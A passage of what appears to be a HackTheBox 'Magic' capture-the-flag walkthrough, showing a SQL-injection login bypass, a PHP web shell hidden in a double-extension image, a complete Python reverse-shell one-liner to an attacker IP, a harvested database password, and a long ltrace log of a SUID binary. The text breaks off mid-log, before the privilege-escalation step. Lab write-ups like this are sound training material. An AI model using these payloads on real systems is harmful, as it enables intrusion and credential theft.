Hack The Box
HackTheBox “Magic” Walkthrough
Magic, a medium-level Linux OS machine on HackTheBox, commences by employing a SQL Injection technique to circumvent the login mechanism. Subsequently, a web-shell is uploaded in a form of an image file to evade…
Magic, a medium-level Linux OS machine on HackTheBox, commences by employing a SQL Injection technique to circumvent the login mechanism. Subsequently, a web-shell is uploaded in a form of an image file to evade filters. This progression facilitates the acquisition of a user shell, thereby enabling the identification of credentials within the database for a user transition. The elevation of privileges to a root level involves exploiting a binary “sysinfo” that invokes the “popen” function without specifying a complete path, rendering it susceptible to a path hijacking maneuver.
Let’s get started! 🚀
Recon & Enumeration
Let’s use nmap to full scan for open ports and services:
Visit the target at port 80.
The subsequent action involves executing a Feroxbuster scan to identify concealed files or directories:
Let’s check the login link tailed in the site above.
Upon reaching the login phase, we encounter a Login page Form located at “login.php.” Since we lack the necessary credentials, our initial attempt involved trying basic username and password combinations, which unfortunately proved ineffective. Subsequently, we contemplated the possibility of circumventing this obstacle through the utilization of SQL Injection techniques.
When attempting the input ‘ or 1=1 — , the system responds by providing access to a file upload module.
Upon clicking the “Upload Image” button, we get the sorry notification above. This implies that the module has been designed with filters in place, restricting its functionality to solely accept image files.
Next, we will obtain an image file and utilize Exiftool to incorporate a PHP web shell command. we will also ensure that the image file has a dual extension of both PHP and then JPG.
Upload.
The file “cmd.php.jpg” is successfully uploaded, we will now try to exploit our web shell.
Exploitation:
The subsequent action involves executing a reverse shell using the existing web shell, and we will use the below python3 reverse shell.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Before executing it, we will start a listener.
Execute.
Checking our listener, we can see that we got a shell.
We enumerate the machine as a www-data starting with the web configuration files.
The file “db.php5” indeed contains the credentials required for accessing the database.
We cannot use “mysql”, so, we will leverage these credentials in conjunction with the “mysqldump” utility to assess the databases present within the system to generate SQL output containing all the necessary commands for reconstructing this database.
We get the following creds: 'admin','Th3s3usW4sK1ng’ .
We will use them to switch user into Theseus after spawning a tty.
Privilege Escalation:
Enumerating SUID binaries running as root using the command below:
find / -perm -4000 -exec ls -l {} + 2>/dev/null
Executing the “sysinfo” command using “ltrace” generates the log below detailing the external function calls made by the binary.
theseus@ubuntu:/var/www/Magic$ ltrace sysinfoltrace sysinfo_ZNSt8ios_base4InitC1Ev(0x56504f2d5131, 0xffff, 0x7ffff5ffc7c8, 128) = 0__cxa_atexit(0x7f951239ba40, 0x56504f2d5131, 0x56504f2d5008, 6) = 0setuid(0) = -1setgid(0) = -1_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x56504f2d5020, 0x56504f0d38f8, -160, 0) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x56504f0d392d====================Hardware Info====================) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffff5ffc690, 0x56504f0d392e, 0, 2880) = 0x7ffff5ffc6a0popen("lshw -short", "r") = 0x56504fd00280fgets(WARNING: you should run this program as super-user.WARNING: output may be incomplete or inaccurate, you should run this program as super-user."H/W path Device Class "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6974706972637365) = 0x7ffff5ffc690fgets("================================"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3d3d3d3d3d3d3d3d) = 0x7ffff5ffc690fgets( <no return ...>--- SIGCHLD (Child exited) ---<... fgets resumed> " system "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x72657475706d6f43) = 0x7ffff5ffc690fgets("/0 bus "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6f62726568746f4d) = 0x7ffff5ffc690fgets("/0/0 memory "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6d206d6574737953) = 0x7ffff5ffc690fgets("/0/1 processor "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x726f737365636f72) = 0x7ffff5ffc690fgets("/0/2 processor "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x726f737365636f72) = 0x7ffff5ffc690fgets("/0/100 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0xa65676469726220) = 0x7ffff5ffc690fgets("/0/100/1 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x205047412058442f) = 0x7ffff5ffc690fgets("/0/100/7 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0xa41534920345849) = 0x7ffff5ffc690fgets("/0/100/7.1 storage "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0xa45444920345849) = 0x7ffff5ffc690fgets("/0/100/7.3 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x4950434120345849) = 0x7ffff5ffc690fgets("/0/100/7.7 generic "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0xa65636166726574) = 0x7ffff5ffc690fgets("/0/100/f display "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x662f3030312f302f) = 0x7ffff5ffc690fgets("/0/100/10 scsi32 storage "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x5320303233617274) = 0x7ffff5ffc690fgets("/0/100/11 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6469726220494350) = 0x7ffff5ffc690fgets("/0/100/11/0 bus "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746e6f4320494348) = 0x7ffff5ffc690fgets("/0/100/11/1 bus "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6f72746e6f432049) = 0x7ffff5ffc690fgets("/0/100/11/2 storage "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6f72746e6f632049) = 0x7ffff5ffc690fgets("/0/100/15 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15/0 ens160 network "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6c6f72746e6f4320) = 0x7ffff5ffc690fgets("/0/100/15.1 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15.2 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15.3 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15.4 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15.5 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15.6 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/15.7 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.1 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.2 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.3 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.4 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.5 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.6 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/16.7 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.1 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.2 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.3 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.4 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.5 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.6 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/17.7 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.1 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.2 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.3 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.4 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.5 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.6 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.7 bridge "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746f6f5220737365) = 0x7ffff5ffc690fgets("/0/100/18.7 bridge "..., 128, 0x56504fd00280) = 0_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x56504f2d5020, 0x7ffff5ffc690, 0x56504fcee010, 0H/W path Device Class Description=========================================== system Computer/0 bus Motherboard/0/0 memory 3936MiB System memory/0/1 processor AMD EPYC 7302P 16-Core Processor/0/2 processor AMD EPYC 7302P 16-Core Processor/0/100 bridge 440BX/ZX/DX - 82443BX/ZX/DX Host bridge/0/100/1 bridge 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge/0/100/7 bridge 82371AB/EB/MB PIIX4 ISA/0/100/7.1 storage 82371AB/EB/MB PIIX4 IDE/0/100/7.3 bridge 82371AB/EB/MB PIIX4 ACPI/0/100/7.7 generic Virtual Machine Communication Interface/0/100/f display SVGA II Adapter/0/100/10 scsi32 storage 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI/0/100/11 bridge PCI bridge/0/100/11/0 bus USB1.1 UHCI Controller/0/100/11/1 bus USB2 EHCI Controller/0/100/11/2 storage SATA AHCI controller/0/100/15 bridge PCI Express Root Port/0/100/15/0 ens160 network VMXNET3 Ethernet Controller/0/100/15.1 bridge PCI Express Root Port/0/100/15.2 bridge PCI Express Root Port/0/100/15.3 bridge PCI Express Root Port/0/100/15.4 bridge PCI Express Root Port/0/100/15.5 bridge PCI Express Root Port/0/100/15.6 bridge PCI Express Root Port/0/100/15.7 bridge PCI Express Root Port/0/100/16 bridge PCI Express Root Port/0/100/16.1 bridge PCI Express Root Port/0/100/16.2 bridge PCI Express Root Port/0/100/16.3 bridge PCI Express Root Port/0/100/16.4 bridge PCI Express Root Port/0/100/16.5 bridge PCI Express Root Port/0/100/16.6 bridge PCI Express Root Port/0/100/16.7 bridge PCI Express Root Port/0/100/17 bridge PCI Express Root Port/0/100/17.1 bridge PCI Express Root Port/0/100/17.2 bridge PCI Express Root Port/0/100/17.3 bridge PCI Express Root Port/0/100/17.4 bridge PCI Express Root Port/0/100/17.5 bridge PCI Express Root Port/0/100/17.6 bridge PCI Express Root Port/0/100/17.7 bridge PCI Express Root Port/0/100/18 bridge PCI Express Root Port/0/100/18.1 bridge PCI Express Root Port/0/100/18.2 bridge PCI Express Root Port/0/100/18.3 bridge PCI Express Root Port/0/100/18.4 bridge PCI Express Root Port/0/100/18.5 bridge PCI Express Root Port/0/100/18.6 bridge PCI Express Root Port/0/100/18.7 bridge PCI Express Root Port) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x56504fd03519) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev(0x7ffff5ffc690, 0x7f95120dc8c0, 0, 2880) = 0_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x56504f2d5020, 0x56504f0d3940, 0, 0xb010) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x3d3d3d3d3d3d3d3d====================Disk Info====================) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffff5ffc690, 0x56504f0d3972, 0, 2880) = 0x7ffff5ffc6a0popen("fdisk -l", "r") = 0x56504fd00280fgets(fdisk: cannot open /dev/loop0: Permission deniedfdisk: cannot open /dev/loop1: Permission deniedfdisk: cannot open /dev/loop2: Permission deniedfdisk: cannot open /dev/loop3: Permission deniedfdisk: cannot open /dev/loop4: Permission deniedfdisk: cannot open /dev/loop5: Permission deniedfdisk: cannot open /dev/loop6: Permission deniedfdisk: cannot open /dev/loop7: Permission deniedfdisk: cannot open /dev/fd0: Permission deniedfdisk: cannot open /dev/sda: Permission deniedfdisk: cannot open /dev/loop8: Permission deniedfdisk: cannot open /dev/loop9: Permission deniedfdisk: cannot open /dev/loop10: Permission deniedfdisk: cannot open /dev/loop11: Permission deniedfdisk: cannot open /dev/loop12: Permission deniedfdisk: cannot open /dev/loop13: Permission deniedfdisk: cannot open /dev/loop14: Permission denied <no return ...>--- SIGCHLD (Child exited) ---<... fgets resumed> "\n", 128, 0x56504fd00280) = 0_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x56504f2d5020, 0x7ffff5ffc690, 0x56504fcee010, 0) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x7f95120db760) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev(0x7ffff5ffc690, 0x7f95120dc8c0, 0, 2880) = 0x7ffff5ffc6a0_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x56504f2d5020, 0x56504f0d3980, 0x7ffff5ffc6a0, 2880) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x3d3d3d3d3d3d3d3d====================CPU Info====================) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffff5ffc690, 0x56504f0d39b1, 0, 2880) = 0x7ffff5ffc6a0popen("cat /proc/cpuinfo", "r") = 0x56504fd00280fgets("processor\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x726f737365636f72) = 0x7ffff5ffc690fgets( <no return ...>--- SIGCHLD (Child exited) ---<... fgets resumed> "vendor_id\t: AuthenticAMD\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x444d416369746e65) = 0x7ffff5ffc690fgets("cpu family\t: 23\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 9) = 0x7ffff5ffc690fgets("model\t\t: 49\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3a09096c65646f6d) = 0x7ffff5ffc690fgets("model name\t: AMD EPYC 7302P 16-C"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x636f72502065726f) = 0x7ffff5ffc690fgets("stepping\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x676e697070657473) = 0x7ffff5ffc690fgets("cpu MHz\t\t: 2994.375\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x2e34393932203a09) = 0x7ffff5ffc690fgets("cache size\t: 512 KB\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x323135203a09657a) = 0x7ffff5ffc690fgets("physical id\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 10) = 0x7ffff5ffc690fgets("siblings\t: 1\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x73676e696c626973) = 0x7ffff5ffc690fgets("core id\t\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x964692065726f63) = 0x7ffff5ffc690fgets("cpu cores\t: 1\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x65726f6320757063) = 0x7ffff5ffc690fgets("apicid\t\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x909646963697061) = 0x7ffff5ffc690fgets("initial apicid\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3a09646963697061) = 0x7ffff5ffc690fgets("fpu\t\t: yes\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x79203a0909757066) = 0x7ffff5ffc690fgets("fpu_exception\t: yes\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x203a096e6f697470) = 